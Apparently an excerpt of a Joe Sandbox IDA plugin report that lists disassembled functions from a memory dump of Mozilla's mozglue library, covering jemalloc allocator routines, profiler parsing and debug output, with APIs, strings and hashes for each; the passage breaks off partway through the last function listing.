Function 6C57ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C57EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C57EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C581695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C581770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C581A3E

Strings

~qUl, xrefs: 6C57ED13
~qUl, xrefs: 6C57ED10

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qUl$~qUl
API String ID: 3693777188-3641920696
Opcode ID: 9b58086393e4e79358b7ff0e5bca15651cf3f13e27db41e5c602b960328150bf
Instruction ID: 7e453ba69fc164ea3fead9a0ef52c8f74188da3281837f7dec9291d489713b20
Opcode Fuzzy Hash: 9b58086393e4e79358b7ff0e5bca15651cf3f13e27db41e5c602b960328150bf
Instruction Fuzzy Hash: B9B32C71E05229CFDB24CFA8C890A9DB7B2FF89304F1582A9D459AB745D730AD85CF90

Function 6C56FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56FF81
LeaveCriticalSection.KERNEL32(6C5DE7B8), ref: 6C57022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C570240
EnterCriticalSection.KERNEL32(6C5DE768), ref: 6C57025B
LeaveCriticalSection.KERNEL32(6C5DE768), ref: 6C57027B

Strings

<jemalloc>, xrefs: 6C570D62, 6C570D76, 6C570DA7
: (malloc) Error in VirtualFree(), xrefs: 6C570D67, 6C570D7B, 6C570DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56FE99, 6C56FEB7, 6C56FED3, 6C570DB8, 6C570DD3, 6C5719B4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 65879458c670523b9db680a992bfb3a67ac24167220ebcd8916278b38477c3a9
Instruction ID: bff57ae47e143c4a6044f3ae9dc506c59e62d1c4fbb9dd7bfd7efa5c1fb4adfa
Opcode Fuzzy Hash: 65879458c670523b9db680a992bfb3a67ac24167220ebcd8916278b38477c3a9
Instruction Fuzzy Hash: C2C2DF71A057418FD724CF28C890716BBE1BFC5328F28C66DE8698B795D772E881CB91

Function 6C5BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C5BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C5BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C5BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C5C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C5C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C0ED4

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: 0b541568413ce4aef3b2a83ce8d28b40d7b0df1e304cfb3916f7004ef782845f
Instruction ID: 13c6ce2b9293a5d4f08ced7178045187a2dd3449fc30e65860dc70b80a8bb957
Opcode Fuzzy Hash: 0b541568413ce4aef3b2a83ce8d28b40d7b0df1e304cfb3916f7004ef782845f
Instruction Fuzzy Hash: A2636D75E0025ACFCB14CFA8C89069DFBB2FF89310F29826AD855BB755D730A945CB90

Function 6C593E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C5B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Yl,?,?,?,6C593E7D,?,?), ref: 6C5B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C593F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C593F5C
VerSetConditionMask.NTDLL ref: 6C593F8D
VerSetConditionMask.NTDLL ref: 6C593F99
VerSetConditionMask.NTDLL ref: 6C593FA0
VerSetConditionMask.NTDLL ref: 6C593FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C593FB4

Strings

nvinit.dll, xrefs: 6C594479
nvd3d9wrap.dll, xrefs: 6C594466
C>Yl, xrefs: 6C593E93

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Yl$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-892337806
Opcode ID: d4765f43106cdabb20479847b83eaec52ac70d6b72087f0eba8928fc4c704b2b
Instruction ID: f2698e1c0f0dff40f0f9b0cf8eae7ee42ffce82afc771a2f72fc830120c80d3d
Opcode Fuzzy Hash: d4765f43106cdabb20479847b83eaec52ac70d6b72087f0eba8928fc4c704b2b
Instruction Fuzzy Hash: 6B52C271710B849FD724DB248C90AABB7E9AF85204F44096DE497CBB52DB74FD09CB60

Function 6C56FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE7B8), ref: 6C56FF81
LeaveCriticalSection.KERNEL32(6C5DE7B8), ref: 6C57022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C570240
EnterCriticalSection.KERNEL32(6C5DE768), ref: 6C57025B
LeaveCriticalSection.KERNEL32(6C5DE768), ref: 6C57027B

Strings

MOZ_CRASH(), xrefs: 6C570CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C56FE99, 6C56FEB7, 6C56FED3, 6C570DB8, 6C570DD3, 6C5719B4, 6C571A10

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 2ee3f03ccbe5f2a702b7b5909311f2fcd318ef01bac2a10acd203a58032ab6a1
Instruction ID: 50202224be287023fa7636fdaab1796ded5b4b30325d52ac26dc784b3e3d657e
Opcode Fuzzy Hash: 2ee3f03ccbe5f2a702b7b5909311f2fcd318ef01bac2a10acd203a58032ab6a1
Instruction Fuzzy Hash: 2FB2EF716057418FD724CF29C990716BBE1BF85328F28CA6DE86A8FB95C771E880CB51

Function 6C5A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C5A5AC3
ProfileBuffer parse error: %s, xrefs: 6C5A5AC8, 6C5A5CBB
name, xrefs: 6C5A5E79, 6C5A5E8F
expected a Time entry, xrefs: 6C5A5CB6
data, xrefs: 6C5A6131
schema, xrefs: 6C5A606D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 07e4055face538145167b56097be82eb106b836add62674ba736f0737d452119
Instruction ID: f9f0a00e1bcdc6b4dc6140463577e16338515f072b7887ee2739cd822786d4a7
Opcode Fuzzy Hash: 07e4055face538145167b56097be82eb106b836add62674ba736f0737d452119
Instruction Fuzzy Hash: 67926B71A087418FD724CF59C890B9EB7E1BFC9308F54891DE59A9B751DB30E80ACB92

Function 6C567810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE744), ref: 6C567885
LeaveCriticalSection.KERNEL32(6C5DE744), ref: 6C5678A5
EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C5678AD
LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C5678CD
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C5678D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5678E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C56795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5679BB
LeaveCriticalSection.KERNEL32(?), ref: 6C567BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C567C82
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C567CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C567DAF

Strings

D]l, xrefs: 6C56789F
D]l, xrefs: 6C56787F

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: D]l$D]l
API String ID: 759993129-1029341217
Opcode ID: 5e87d915781f66a987b4bc13599849f640b5923e582704cc07749b1fcbd0c422
Instruction ID: b6481a6cbd4aa0e9f586ce5723a4c00924dd306862ccee5c30a75ed139bf8ed1
Opcode Fuzzy Hash: 5e87d915781f66a987b4bc13599849f640b5923e582704cc07749b1fcbd0c422
Instruction Fuzzy Hash: 4E025071A0121A8FDB54CF19CD84799B7B5FF88358F2582AAD809A7B11D770BE90CF84

Function 6C5A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A36BF

Strings

set , xrefs: 6C5A36EC
get , xrefs: 6C5A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5A378D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 8ca387a4d6efa68431e84d370a1e91bb79bb6a670bdb94f6d3a37461a6bceeb0
Instruction ID: 854ec707d169c5b04690825baff9f9a92fe673bc37ee130f14865dc6865ced97
Opcode Fuzzy Hash: 8ca387a4d6efa68431e84d370a1e91bb79bb6a670bdb94f6d3a37461a6bceeb0
Instruction Fuzzy Hash: EA325DB06083818FD324CF65C8906AFBBE2AFC9318F548D1DE59987751DB30E94ACB56

Function 6C597E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

v]l, xrefs: 6C598207
name, xrefs: 6C597ECF, 6C598335
(pre-xul), xrefs: 6C597E88
data, xrefs: 6C598280, 6C5983E1
schema, xrefs: 6C5981E3, 6C598311

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$v]l
API String ID: 3412268980-2624717897
Opcode ID: 250a5b80d65c274354337044ed96bd638815ae3d97b354ab225a0c19dc7b0d6c
Instruction ID: 135d27bc6032ff82adaea202fc6156ed16fc9fe4cc00a7c988aa3f55cacdd05b
Opcode Fuzzy Hash: 250a5b80d65c274354337044ed96bd638815ae3d97b354ab225a0c19dc7b0d6c
Instruction Fuzzy Hash: A6E16FB1B043408BD710CF698C4065BFBE9BBD5314F154A2DE899D7B90EBB0ED498B92

Function 6C5B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C5B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C5B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QUl,?), ref: 6C5B6046
OutputDebugStringA.KERNEL32(?,QUl,?), ref: 6C5B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C5D148E), ref: 6C5B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QUl,00000000,?), ref: 6C5B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5B60C4

Strings

QUl, xrefs: 6C5B5FFC, 6C5B6042, 6C5B6045, 6C5B60B3

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QUl
API String ID: 3835517998-3620445458
Opcode ID: 47579975089365ffab45b5baa4524ba6a82c0b784a54afa6059671a0d96b28ac
Instruction ID: 84df435461d5606f6fe2aad94083dc02fbd806f209ffb1a1877bf1d5a295a565
Opcode Fuzzy Hash: 47579975089365ffab45b5baa4524ba6a82c0b784a54afa6059671a0d96b28ac
Instruction Fuzzy Hash: 6C21D671A003089BDB106F25DC48A9E7BB9FF45214F018428E81AD7240CF74B958CFDA

Function 6C575E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2
memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C5761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C577652

Strings

ew[l, xrefs: 6C575E9C, 6C575F22, 6C5761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5772F8
MOZ_CRASH(), xrefs: 6C577BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C577BCD, 6C577C1F, 6C577C34, 6C5780FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5772E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C57730D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew[l
API String ID: 2613674957-4285852763
Opcode ID: c1c04104db0581e37454876bed0eaceafaf55f8c075d06275ae6f6d7e9c8f850
Instruction ID: 0e4e783046f9d48cc9d352278b0532264c08292f14637514df876c29ce621d69
Opcode Fuzzy Hash: c1c04104db0581e37454876bed0eaceafaf55f8c075d06275ae6f6d7e9c8f850
Instruction Fuzzy Hash: 18339C716067018FC325CF28C990615BBE2FF85328F29C7ADE9698B7A5D731E881CB51

Function 6C5A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C5A4DD9
]l, xrefs: 6C5A4F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5A4D0A
-%llu, xrefs: 6C5A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5A4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5A4DB8, 6C5A4DD8
data, xrefs: 6C5A49B4
schema, xrefs: 6C5A48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5A4CAF

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free
String ID: ]l$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-817700598
Opcode ID: efe452394aa8dda5c36b13f362cb65b9e80d3b487795f7ae40b65e922ef71dfa
Instruction ID: b25eee62d332b6f117bc3c3466c167c34d3b578357dd66c12649137b24342121
Opcode Fuzzy Hash: efe452394aa8dda5c36b13f362cb65b9e80d3b487795f7ae40b65e922ef71dfa
Instruction Fuzzy Hash: 8B723F71918B859BD321CF75C85139BF7E5BFDA344F108B1EE4896B610EB70A886CB42

Function 6C57D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D4F2
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D50B

Part of subcall function 6C55CFE0: EnterCriticalSection.KERNEL32(6C5DE784), ref: 6C55CFF6
Part of subcall function 6C55CFE0: LeaveCriticalSection.KERNEL32(6C5DE784), ref: 6C55D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D52E
EnterCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57D6A6
LeaveCriticalSection.KERNEL32(6C5DE7DC), ref: 6C57D712
LeaveCriticalSection.KERNEL32(6C5DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C58D1C5), ref: 6C57D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C57D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C57D82C
<jemalloc>, xrefs: 6C57D827

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 5206572e57fd3112ff08e052fa27124e571b581cd95a1aaa0d060bd374cfee86
Instruction ID: cb9769d4a0c1480d89c859ad72bdd241570d4c001de385473e69a22fa5e04c69
Opcode Fuzzy Hash: 5206572e57fd3112ff08e052fa27124e571b581cd95a1aaa0d060bd374cfee86
Instruction Fuzzy Hash: 7C91D371A047418FD764CF28CC9072AB7E1EB89314F15492EE59AC7B81D774F884CBA6

Function 6C5B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C5B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B4F2E
moz_xmalloc.MOZGLUE ref: 6C5B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C5B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5B52E6
Sleep.KERNEL32(00000010), ref: 6C5B5481
free.MOZGLUE(?), ref: 6C5B5498

Strings

(, xrefs: 6C5B5250

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 958d6b53764466e73655357190ac9570a182bbb5c08bb985347e7aad1ee2866a
Instruction ID: 49f93eddf64121c01f65abf280135e8eb3df400e472eee290085fc0337ff41a6
Opcode Fuzzy Hash: 958d6b53764466e73655357190ac9570a182bbb5c08bb985347e7aad1ee2866a
Instruction Fuzzy Hash: 73F1C071A19B008FC716CF39CC5062BB7F5AFD6384F468B2EF846A7651DB3198428B85

Function 6C5B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C5B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C5B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5B707E

